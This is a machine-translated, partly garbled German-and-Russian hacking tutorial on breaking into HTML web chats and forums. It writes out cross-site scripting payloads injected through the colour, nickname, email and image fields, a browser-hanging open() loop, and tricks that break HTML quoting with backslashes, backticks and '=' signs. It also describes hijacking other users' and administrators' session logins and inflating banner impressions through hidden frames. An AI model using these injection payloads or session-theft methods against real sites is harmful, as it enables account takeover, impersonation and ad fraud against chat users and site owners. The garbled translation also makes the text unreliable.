This page has been robot translated, sorry for typos if any. Original content here.

Hacking Chat Teil 2



  • Teil 1
  • Teil 2


  • Variationen über ein Thema

    Im vorherigen Kapitel haben wir den Fall untersucht, in dem eine Farbe in den Text einer Seite eingefügt wurde, ohne die Anführungszeichen einzuschränken. Aber was ist, wenn noch Zitate vorhanden sind? Der Chat-Text sieht beispielsweise folgendermaßen aus:
    Reisender - Alpha, hallo))
    Alpha - Hallo allerseits! !!

    Wie Sie sehen können, wird die Farbe in die Anführungszeichen des Rahmens eingefügt. Dieses Problem lässt sich leicht lösen, wenn der Chat den Charakter nicht herausfiltert. Wenn ja, können wir einfach das offene Anführungszeichen schließen und dann unser Skript schreiben. Wenn Sie beispielsweise den Farbwert auf Rot 'size = 20' <FONT color = # 00ff00> setzen , erhalten Sie den Effekt erneut mit einer großen Schriftart. Beachten Sie das Leerzeichen und den Apostroph am Ende. Sie sind notwendig, damit das abschließende Zitat, das der Chat selbst einfügt, unsere Attribute nicht zerstört. Infolgedessen sieht unsere Nachricht folgendermaßen aus:

    Shram - Hi

    Wenn im Chat das Anführungszeichen für den Wert des Parameters nicht übersehen wird, kann der Chat über diesen Parameter nicht geknackt werden :( (. Obwohl hier einige Dinge möglich sind: siehe Ende dieses Kapitels.

    Diese Methode funktioniert sehr oft (fast immer) für eine bestimmte E-Mail-Adresse (in den Chatlanin-Einstellungen oder im Feld für die Rücksprungadresse in Foren und Gästebüchern). Normalerweise wird der Link zur Seife in den Foren wie folgt angezeigt:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fedya Pupkin &lt;/a&gt;</b> (Fragment mailto: Das Gateway fügt sich selbst ein). Wenn Sie dann den Wert von soap auf "style = background-image: url (javascript: alert ('Well_no_y_menya_mela!'))" Setzen , senden wir eine Warnung an jeden Forumbesucher :) :) ) (Beachten Sie, dass Filter für Eingabezeichen in der Regel nicht an der Seifenadresse installiert sind). Zwar scheinen einige Foren und Chats die Seife zu überprüfen, aber diese Überprüfung setzt voraus, dass das @ -Symbol vorhanden ist. Wenn dies der Fall ist, werden wir den Erstellern des Forums gefallen und einen Hund für sie wie folgt zeichnen : mylo@myla.net "style = background-image: url (javascript: alert ('Well_no_u_menya_mela_!”)) " .

    In einigen Chats können Sie Ihre eigenen Bilder einfügen, indem Sie die Adresse des Bildes festlegen. Wie wir bereits wissen, können Sie dort, wo sich eine URL befindet, ein Skript einfügen. Ich werde es nicht einmal kauen. Alles ist so klar.

    Das erste Kapitel zeigte, wie Sie das Chat-Eingabeformular ändern. Insbesondere musste die relative Adresse des Aktionsfeldes in absolut geändert werden. Die Struktur des Chats kann jedoch so komplex sein, dass möglicherweise viele Ersetzungen erforderlich sind. In allen Fällen ist das Ändern von Adressen unpraktisch (und Sie können einen Fehler machen). Stattdessen können Sie das Tag <base href = 'http: //typachat.ru/'^gt; das wird an einer beliebigen Stelle im HTML-Dokument eingefügt. In diesem Fall werden alle relativen Adressen unabhängig vom tatsächlichen Basis-DNS-Namen relativ zu der im Basis- Tag angegebenen Adresse (in diesem Fall relativ zu typachat.ru ) adressiert .

    Sie wissen wahrscheinlich, was Schnüffler sind? Wenn nicht, sage ich Ihnen den Schnüffler - eine sehr nützliche Sache, mit der Sie den Verkehr verfolgen können. Im Falle eines Chats können Sie mit dem Sniffer die IP-Adressen des Chats sowie deren temporäre Namen und Codes (für Chats mit temporären Namen) ermitteln. Manchmal können Sie sogar Administratorrechte erhalten :) :) )

    Es kommt häufig vor, dass der Spitzname im Chat-Text als Link fungiert. Wenn Sie darauf klicken, können Sie eine private Nachricht an das Chat-Mitglied senden. So sieht es in HTML aus:

    Alpha - Hallo!

    Moderator - Hallo!

    Zusätzlich zu dem im Kapitel "Wunder mit dem = Symbol" beschriebenen Effekt kann ein Skript eingefügt werden, das beim Klicken auf den Link ausgelöst wird (wenn der Chat die Anführungszeichen nicht herausfiltert - in diesem Fall das + -Symbol). Setzen Sie dazu den Spitznamen als Der folgende Wert: "+ alert ('Hello!') +" . Sie können etwas Ernsthafteres einfügen (nur mit der Funktion toString () ). Der Spitzname lautet beispielsweise "+ toString (open ('// yahoo.com', '_ top)) ')) + " sendet den Benutzer, der auf Ihren Spitznamen gestoßen ist, um eine Pause vom Chat in Yahoo einzulegen :) :) )

    Hacking Chat M.

    Wie im ersten Kapitel erwähnt, gibt es zwei Methoden zum Hacken von Chats. Alle obigen Beispiele beziehen sich auf die erste Methode - die Methode zum Eindringen in die Tag-Parameter. Hier möchte ich die Technologie der zweiten Methode zeigen - die Methode, die Struktur von HTML zu brechen.

    Die Farbe der Chat-Nachrichten M wurde in numerischer Form festgelegt (und hatte daher eine Begrenzung der Farblänge - 7 Zeichen), hatte ausgefallene Filter, aber ein einziges Zeichen fehlte. Hier ist ein Ausschnitt aus Chat-Nachrichten:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Wie Sie sehen können, wurde die Farbe ohne Anführungszeichen angegeben. Die Hacking-Technologie ist einfach: Melden Sie sich mit einem beliebigen Spitznamen und einer beliebigen Farbe an . Nach dem Betreten des Chats erhalten wir eine Nachricht wie 'style = background-image: url (Javascript: alert (' Hello_people !! ')) . Achten Sie auf die Lücke am Ende - es ist erforderlich. Unsere Botschaft lautet wie folgt:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Es stellt sich heraus, dass ein Teil des HTML-Codes - class = "ku"> - in einfachen Anführungszeichen steht und vom Browser als Zeichenfolgenwert für Farbe betrachtet wird. Die schließende Klammer des Tags fällt ebenfalls in diese Zeile, sodass sich unsere Nachricht innerhalb des Tags befindet! Der Teil des Codes, der unmittelbar auf unsere Nachricht folgt Es wird vom Browser nicht verstanden und ignoriert (außerdem sollte dieser Teil durch ein Leerzeichen von unserem Stilparameter getrennt werden, da sonst der Parameter als Ganzes als fehlerhaft angesehen wird). Die folgende spitze Klammer schließt jedoch das Schriftart- Tag. Alles ist sehr einfach.

    Ein bisschen über den Backslash-Charakter

    Konstante JavaScript-Zeichenfolgen haben ein spezielles Steuerzeichen. Dies ist ein Backslash-Zeichen \ . Einer seiner Zwecke lautet wie folgt: Das darauf folgende Anführungszeichen wird als Zeichen und nicht als Zeilenabschluss betrachtet. Zum Beispiel:

    &lt;script&gt; alert ('It \' s ') &lt;/ script&gt; - gibt keine Fehlermeldung aus, da der Apostroph in Kombination mit \ in der Mitte der Zeile nicht als Zeilenende betrachtet wird. Während &lt;script&gt; alert ('It's') &lt;/ script&gt; gibt eine Fehlermeldung aus.

    Da das \ -Zeichen selbst das Steuerzeichen ist (und daher nicht direkt in der Zeile angezeigt wird), gibt es eine \\ Kombination, die sich selbst anzeigt. Eine solche Kombination wird nur als \ -Zeichen angezeigt.

    Was hat das alles mit dem Hacken von Chats zu tun? Und hier ist was: Einige Chats setzen keinen Filter auf die Anführungszeichen " (oder " ) im Feld "Spitzname", sondern ersetzen sie durch Kombinationen vom Typ " (oder " ), da sie glauben, dass in diesem Fall die Anführungszeichen angezeigt werden, aber nicht als Trennzeichen fungieren können. und kann daher die HTML-Struktur nicht zerstören. Gleichzeitig verlieren kurzsichtige Entwickler die Tatsache aus den Augen, dass der Benutzer das Zeichen \ verwenden kann, um sein \ Zeichen zu blockieren. Ein Chat-Fragment für eine Nachricht eines Benutzers mit dem Spitznamen Sh "ram sieht beispielsweise folgendermaßen aus:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In diesem Fall verletzt das Anführungszeichen im Spitznamen nicht die Struktur des Tags. Wenn wir jedoch den Spitznamen in Al \ "gol ändern und dann einen Schrägstrich vor dem Anführungszeichen einfügen, erstellt der Chat den folgenden HTML-Code:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> Gleichzeitig blockiert unser Schrägstrich den Chat-Schrägstrich und das Anführungszeichen des Spitznamens zerstört die HTML-Struktur! Dies ist sichtbar, wenn Sie im Beispiel auf den Link klicken.

    Dieser Effekt kann verwendet werden, um Chats zu hacken, indem die HTML-Struktur unterbrochen wird. Beachten Sie, dass in einigen Fällen dieselbe Methode Begrenzungszitate blockieren kann, indem am Ende des Kurznamens ein Backslash eingefügt wird.

    Kürzlich bemerkte ich eine weitere Lücke im Zusammenhang mit der falschen Verwendung der Programmierer symbol \ chat. Lassen Sie zum Beispiel den Spitznamen des Benutzers in den Textkörper des Chats im Formular einfügen

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Wenn wir die Kennung in Al'gol ändern , akzeptiert der Chat einen solchen Spitznamen, ersetzt ihn jedoch durch Al \ 'gol und glaubt naiv, dass das Tag durch Einfügen eines Backslashs vor Zerstörung geschützt wird. In der Tat ist dies nicht so. :) :) . Wenn Sie einen solchen Spitznamen in den Chat einfügen, sieht er folgendermaßen aus:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In diesem Fall gibt der Explorer eine Fehlermeldung aus, wenn Sie versuchen, einen Spitznamen zu suchen. Der Grund ist folgender: Das \ -Zeichen ist nur in Javascript-String-Konstanten sinnvoll, nicht jedoch in HTML! Das HTML-Zeichen \ selbst versteht das HTML-Symbol nicht und betrachtet daher den ersten gefundenen Apostroph als das Ende des href- Attributs, obwohl es \ gegenübersteht . So zerstört beispielsweise ein solcher Spitzname Algol '= die Tag-Struktur, obwohl vor dem Apostroph ein Backslash eingefügt wird

    Hacking auf http-Ebene

    Wie bereits erwähnt, kann der Chat-Server das Referer- Feld der HTTP-Anforderung verfolgen und den Chat nicht zulassen, wenn sich dieses Feld von dem gewünschten unterscheidet. Um dieses Hindernis zu umgehen, müssen Sie den Header der HTTP-Anforderung abfangen, die per Chat an den Server gesendet wurde (mithilfe spezieller Programme, z. B. Naviscope), und ein spezielles Programm schreiben, das Anforderungen an den Server sendet. In diesem Fall kann der Inhalt der Abfragen (z. B. der Wert des Farbfelds) beliebig festgelegt werden.

    Ich werde nicht im Detail darauf eingehen. Dies geht über das Hacken von HTML hinaus.

    Ich stelle nur fest, dass Sie auf HTTP-Ebene schwierigere Dinge tun können als mit herkömmlichem HTML oder JavaScript. In jedem Fall empfehle ich, die Header von HTTP-Anforderungen anzuzeigen, wenn Sie im Chat arbeiten. Sie helfen Ihnen dabei, die Arbeit des Chats genauer zu verstehen.

    Wunder mit dem Symbol =

    Was wird Ihrer Meinung nach im Browser für eine solche HTML-Zeile angezeigt:

    &lt;font onclick = alert ('=')&gt; Text &lt;/ font&gt; ? Ich wette, Sie werden es nicht erraten (es sei denn, Sie arbeiten natürlich bei Microsoft und haben MSIE nicht entwickelt). Das Ergebnis ist so spezifisch, dass ich kein Beispiel dafür machen konnte. . Aber Sie können dem Wort glauben, dass Folgendes im Browserfenster angezeigt wird: &lt;fontonclick = alert ('=')&gt; Text Wie Sie sehen, wird das öffnende Tag in diesem Fall vom Browser einfach nicht als Tag wahrgenommen, obwohl keine Syntaxfehler vorliegen :) :) ) Und was passiert, wenn wir schreiben? Text

    Seltsamerweise ist in diesem Fall alles in Ordnung, obwohl ein Syntaxfehler vorliegt. Und wenn wir auf den Text klicken, erscheint alert = . Bewegen Sie den dritten Apostroph über die spitze Klammer oder hinter den Text:

    &lt;font onclick = alert ('=')&gt; Text '&lt;/ font&gt; Dies führt auch zu einem unerwarteten Ergebnis.

    Leider habe ich keinen Quellcode oder keine detaillierte Dokumentation für MSIE, aber ich denke, dass in diesem Fall ein eindeutiger Fehler in MSIE vorliegt. Der Browser analysiert den Code wahrscheinlich in zwei Schritten. In der ersten Phase werden Tags, ihre Attribute und der dazwischen liegende Text ausgewählt und in der zweiten Phase wird der JavaScript-Inhalt der Tag-Parameter analysiert (es handelt sich nur um Attribute, die einen Skriptwert zulassen, z. B. href oder onclick ). In der ersten Analyse betrachtet der Browser aus irgendeinem Grund die Kombination = 'als Zeilenanfang, obwohl sich das Zeichen = bereits in der Zeile befindet! Dann sucht das Programm mit = ' als Zeilenanfang nach dem Ende (wobei es völlig vergisst, dass eine andere Zeile offen und nicht geschlossen ist). Daher wird alles, was folgt = ' (oder = " ) und bis zum nächsten Zeichen ', ignoriert und als Zeichenfolge betrachtet! Daher hat der Browser im ersten Beispiel das Tag nicht wahrgenommen: Er hat die schließende spitze Klammer nicht gefunden, weil sie sich (sozusagen) innerhalb der Zeichenfolge befand Noch überraschender ist, dass der Browser in der zweiten Phase der Analyse der Tag-Parameter alles richtig wahrnimmt (dies kann durch Klicken auf den Text im zweiten Beispiel überprüft werden), die Linie bei Bedarf wahrnimmt und bei Bedarf die schließende Klammer findet. zu diesem Fragment eines dritten Text ein Beispiel für den Text nicht angezeigt wird (weil, da es nicht der Körper des Tages ist), ist aber nicht paramatrom-Tag (wie in der Phase der Analyseparameter für die Compiler es kommt einfach nicht)! Flamme Hallo Bill!

    Mit diesem Browserfehler konnte ich einen Teil des Chat-Codes auskommentieren, indem ich mich einfach mit dem Spitznamen = anmeldete :) :) ) Hier ist ein Codeausschnitt, der eine Liste derjenigen im Chat anzeigt:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    Gleichzeitig erschien mein Spitzname in der Liste einfach nicht, da das Fragment zwischen Anführungszeichen steht

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( Es stellte sich heraus, dass es sich außerhalb des Tags befand: -}. Wenn Sie jedoch auf den Moderator klicken, wurde die Funktion parent.window.messageFor mit dem Parameter = aufgerufen. Es gab ähnliche "Effekte" beim Anzeigen meiner Chat-Nachrichten.

    Es ist wunderbar (oder traurig - jemanden zu suchen), dass dieser Fehler fast überall auftritt, wo Sie mindestens einen Thread eingeben können (zumindest für MSIE 5.50.4134.0600), und Sie müssen nicht einmal etwas am Formular ändern. Das Schlimme ist jedoch, dass es schwierig ist, signifikante Vorteile daraus zu ziehen (z. B. das Ausführen eines Skripts).

    Zusammenfassend stellen wir fest, dass das Symbol > den gleichen Effekt hat, der als Ende des Tags wahrgenommen wird, obwohl es sich innerhalb der Linie befindet. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Text &lt;/ font&gt; Wird vom Browser als fehlerhaft interpretiert und gibt den Fluch, dass die Zeichenfolgenkonstante nicht geschlossen ist.

    Zwei Hacks Chat T.

    Chat T hat die folgenden Zeichen im Farbfeld übersprungen:

    '' ` = ;;

    Beim Einfügen von Farbe in den Chat gab es keine Rahmenzitate. Ein Fragment von Nachrichten im Chat (der Autor des Chats hält es anscheinend nicht für notwendig, die Tags zu schließen), obwohl wir hoffen, dass dies getan wird, um die Leistung zu verbessern):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Verwirrt, dass der Speicherplatz nicht vom Filter übergeben wurde. Nach einigem Überlegen fand ich jedoch die folgende Lösung: Ich nahm die Farbe selbst in einfache Anführungszeichen und fügte nach der Farbe ohne Leerzeichen den Parameterstil ein: 'red'style = Hintergrundbild: URL (Javascript: while (1 == 1) open ( )) . Wie im zweiten Kapitel erwähnt, wird in diesem Fall kein Trennraum benötigt. :) :) )

    Übrigens war dieser Chat voller Frames, einschließlich versteckter und leerer - sie wurden wahrscheinlich für zukünftige Erweiterungen in Betracht gezogen. Aber während Administratoren über Erweiterungen nachdachten, fand ich sie nützlicher. Ich habe lange in diesem Chat rumgehangen - mehrere Monate. Und es hing aus einem Grund: In einem der versteckten Frames schob ich meine Website. Und auf der Seite gab es Banner des Bannernetzwerks. Auf diese Weise wickelte ich mich in ungefähr hunderttausend Banner-Displays ein und meine Website sprang auf 5-6 Plätze in der Rangliste der Rambler Top 100-Hits (in meiner Gruppe). Leider stimmte das Bannernetzwerk mit dem Treffer / Host-Verhältnis überein und stellte fest, dass es von der Nase geführt wurde. Es stellte sich heraus, dass derselbe Besucher meine Website 50 Mal am Tag besucht. Mein Konto wurde gesperrt. Also wahrscheinlich immer noch da hängen, unruhig :) :) )

    Aber zurück zu unseren Schafen. Nach einiger Zeit ersetzte die Chat-Administration die CGI-Box. Ich weiß nicht, welche „Verbesserungen“ in der zweiten Ausgabe vorgenommen wurden, aber ich habe nur eine Änderung bemerkt: Jetzt war die Länge der Farbwertzeile begrenzt und betrug ungefähr 10 Zeichen (diese Einschränkung ist übrigens in vielen Chatrooms zu finden, obwohl ich nicht verstehe, worum es in ihnen geht "Ist es nicht einfacher, Filter auf die eingegebenen Zeichen zu setzen? Obwohl sie vielleicht auf diese Weise vor Pufferüberläufen geschützt sind?). In dieser Situation funktionierte die alte Methode natürlich nicht mehr. Sie können ein anständiges Skript nicht in 10 Zeichen zusammenfassen (selbst der Stil selbst passte hier nicht). Mir wurde klar, dass man nur einen Spitznamen oder die zweite Methode durchbrechen kann - die HTML-Struktur zu zerstören. Ich habe mehrere Stunden lang so und so versucht. Neben dem billigen Effekt des Verschwindens des Spitznamens (Kapitel "Wunder mit dem Symbol =") passierte nichts. Das Brechen der Struktur ergab aus folgendem Grund nichts: Durch Einfügen des Symbols ' anstelle von Farbe öffnete ich die Zeile, aber sie wurde durch ein Apostroph geschlossen, das zeitlich Bezug nahm (hier hatte der Chat nur Glück - es war nicht als Schutzmaßnahme gedacht, obwohl viele Chats speziell dafür fiktive einfügen Tags wie <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    Das heißt, nur das Fragment <a href = javascript: parent.window.Mtm ( . Und alles, was ich bekam, war das Entfernen des Link-Tags für die Zeit wurde kommentiert. Wenn es möglich wäre, doppelte Anführungszeichen anstelle von einfachen Anführungszeichen einzufügen, gäbe es kein Problem, denn im Chat doppelte Anführungszeichen wurden nicht verwendet. Aber das Symbol "wurde vom Filter nicht übergeben. Unter einem Spitznamen wie Algol = gab auch nichts an, da die Zeichen nach 'Algol =')> ignoriert wurden und nicht als Tag-Parameter angesehen wurden. Natürlich funktionierte eine andere Option am Ende des Kapitels" Variationen über Betreff ", aber diese Skripte funktionierten nur, wenn ich auf meinen Link klickte und :( (. Ich war bereits bereit zuzugeben, dass es unmöglich ist, den gesamten Chat zu knacken. Und im letzten Moment, als ich in den Eingeweiden von HTML grub und experimentierte, stellte ich fest, dass das rückwärts gerichtete Apostrophzeichen auch ein Zeilenabschluss in HTML ist !!! Und dieses Zeichen wurde vom Filter übersprungen! Ohne zweimal darüber nachzudenken, ich angemeldet mit dem Spitznamen Algol und der Farbe ` . Und dann habe ich als Nachricht im Chat folgende Zeile gesendet: ` style = background-image: url (Javascript: alert ('Victory_will_be_en_ für Ihren Namen!')) . Meine Nachricht im Hauptteil des Chats sah folgendermaßen aus:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    Gleichzeitig wird das Fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> hat dies vollständig kommentiert und wurde als farbig betrachtet, und der Stilparameter wurde in einem Tag angezeigt! Skript hat funktioniert :) :) )

    T-Chat-Programmierer müssen also eine neue Version ihrer Idee entwickeln. Es bleibt nur zu überraschen, wie viele Lücken sie hinterlassen und wie langsam sie behoben werden. Sie sagen, der springende Punkt liegt in der Psychologie: Entwickler von Schutzsystemen können sich nicht an die Stelle eines Angreifers setzen, sondern das System von ihrer Seite beurteilen, anstatt es von außen zu betrachten.

    "Abfangen", "Fälschen" und Erhalten von Rechten.

    Betrachten Sie die Methoden zum Erfassen von Nachrichten anderer Personen (private Nachrichten) und zum Senden von Nachrichten im Namen anderer Chat-Mitglieder. Es gibt verschiedene Methoden zum Abfangen, die für verschiedene Arten von Chats entwickelt wurden. Wenn der Chat vollständig gehackt ist, ist der Vorgang der „Fälschung“ (dh das Einfügen von Replikaten im Namen anderer Chatrooms) nicht schwierig: Sie müssen dem Opfer lediglich ein privates Skript senden, das Text in die Replikatzeile schreibt, und dann auf die Schaltfläche „Senden“ klicken. Ebenso können Sie Benutzer strecken und privatisieren. Solche Methoden sind jedoch zu grob, primitiv und schwer anzuwenden. Perfekter sind solche Abhörmethoden, bei denen der Chat selbst Sie für einen anderen Benutzer führt.

    Beim Erstellen von HTML-Chats besteht das Hauptproblem darin, dass das HTTP-Protokoll im Prinzip keine dauerhaften Verbindungen unterstützt. Dies bedeutet, dass das Chat-Programm Sie jedes Mal, wenn Sie Nachrichten empfangen oder senden möchten, "erkennen" und verstehen muss, dass Sie Sie sind. Wenn sie Benutzer nicht erkennen würde, könnte sie Ihnen Ihre Privaten nicht senden und Ihre Nachrichten nicht in Ihrem Namen schreiben. Chats verwenden verschiedene Methoden, um Teilnehmer zu identifizieren. Die am häufigsten verwendete IP-Adressmethode und dynamische Namensmethode. Die erste Methode basiert auf der Tatsache, dass derselbe Benutzer während einer Kommunikationssitzung dieselbe IP-Adresse hat. Ich werde nicht im Detail auf diese Methode eingehen, ich kann nur sagen, dass diese Methode Nachteile hat. Insbesondere funktioniert es möglicherweise nicht, wenn der Benutzer einen Unternehmens-Proxyserver verwendet oder mehrere Chat-Fenster geöffnet hat. In letzter Zeit wurde häufig eine andere Methode verwendet - die dynamische Namensmethode. Das Wesentliche der Methode ist, dass ein Benutzer jedes Mal, wenn er den Chat betritt, automatisch eine temporäre eindeutige Anmeldung erhält. Diese Anmeldung wird automatisch auf der Seite registriert, die das Gateway an den Benutzer sendet. Jedes Mal, wenn ein Benutzer ein Replikatformular sendet oder Nachrichten von einem Chat anfordert, sendet seine Seite eine temporäre Anmeldung an den Server, anhand derer der Server den Benutzer tatsächlich identifiziert. Das System generiert zufällig eine temporäre Anmeldung, und zwei verschiedene Benutzer können nicht dieselbe Anmeldung haben. Ein Login kann aus mehreren Teilen bestehen. Meistens ist dies die Seriennummer des Benutzers in der Sitzung und ein zufällig generiertes Kennwort. Da das Identifikations-Login mit der Chat-Seite jedes Benutzers "verbunden" ist, weiß das System sicher, mit welchem ​​Benutzer es spricht, unabhängig von seiner IP-Adresse, den Proxyservern, der Anzahl der geöffneten Chat-Fenster usw.

    Es ist klar, dass es für uns nicht schwierig wäre, das Login des Benutzers unter dem Benutzer zu "quetschen", indem wir einfach unser Login auf unserer Seite zu seinem Login korrigieren. Dann würde das System uns für ihn nehmen ... Es stellt sich heraus, dass dies leicht möglich ist, wenn der Chat gehackt wird, und wir können unser Bild in den Chat einfügen. Wenn wir dann einen Schnüffler als Bild verwenden (siehe Kapitel "Variationen eines Themas"), können wir temporäre Anmeldungen aller Chat-Teilnehmer erhalten! Und wenn wir an einem bestimmten Login interessiert sind, müssen wir ihm privat einen Schnüffler schicken. Ich stelle Folgendes fest: Die abgefangene Anmeldung ist nur gültig, solange sich der Benutzer im Chat befindet. Wenn er sich anmeldet (abmeldet und erneut anmeldet), hat er bereits eine neue temporäre Anmeldung.

    Es ist klar, dass, wenn Sie die temporäre Anmeldung des Administrators abfangen, seine Rechte automatisch an uns übergehen - beispielsweise die Möglichkeit, Tags direkt in Nachrichten einzufügen (d. H. Das Fehlen eines Filters für die Zeichen < und > ) oder das Löschen aus dem Chat oder das Abrufen von Informationen über den Benutzer usw.

    Dritter Chat Hack T.

    Also zurück zum langmütigen Chat T. Vor nicht allzu langer Zeit hat Chat T komplett auf einen neuen Kern umgestellt. Jetzt haben sich die Spielregeln geändert. Anfangs ging fast alles durch das Farbfeld (bis zu den Zeichen < und > ), und es war nicht schwer für mich, es zu knacken. Aber bald wurde dieses Loch geschlossen (nicht ohne meine Teilnahme). In der neuen Version des Chats wurden ausschließlich Zahlen und Buchstaben übersprungen. Das Hacken durch Farbe ist unmöglich geworden. Dies führte zur Suche nach komplexeren Methoden. Tatsächlich war das einzige, was noch übrig war, der Spitzname. Aus eigener Erfahrung wusste ich, dass es ziemlich schwierig ist, einen Chat durch einen Spitznamen zu knacken, da die Entwickler Filter für den Spitznamen ziemlich sorgfältig auswählen. Im Chat wurde jedoch der "Trick", dass "der Zeichensatz für den Spitznamen erheblich erweitert wurde", übertrieben. Es ging wie eine Art Werbung. Nachdem ich ein wenig an Filtern für einen Spitznamen herumgebastelt hatte, stellte ich fest, dass die folgenden Zeichen übersprungen werden:

    '' ` = ;; \.

    Das Symbol "wurde übersprungen, aber der Chat fügte automatisch das Symbol \ davor ein. Die mit dieser Kombination verbundenen Mechanismen sind im Kapitel" Ein wenig über das Backslash-Symbol \ "beschrieben. Die in diesem Kapitel beschriebenen Effekte führten jedoch nicht zum gewünschten Ergebnis und waren unpraktisch zu verwenden. Ich suchte nach einem anderen Lösung, und ich fand es!

    Schauen wir uns ein Fragment von Chat-Nachrichten an:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Wie Sie sehen können, wurde der Spitzname als Link angegeben. Beim Klicken wurde eine bestimmte Funktion aufgerufen. Der href- Link-Handler war in einfache Anführungszeichen eingeschlossen, und der Spitzname selbst wurde in doppelte Anführungszeichen gesetzt. Da das doppelte Anführungszeichen im Chat im Spitznamenwert tatsächlich nicht übersehen wurde, war es unmöglich, die Grenzen des Funktionsarguments zu überschreiten. Ein Spitzname vom Typ = ` funktionierte nicht, da der Handler in einzelne Apostrophe eingeschlossen war, und wie im Kapitel" Wunder mit dem = -Symbol "gezeigt, funktionierte der Effekt mit dem = -Zeichen nicht. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Das heißt, например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. T.O. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) :) )

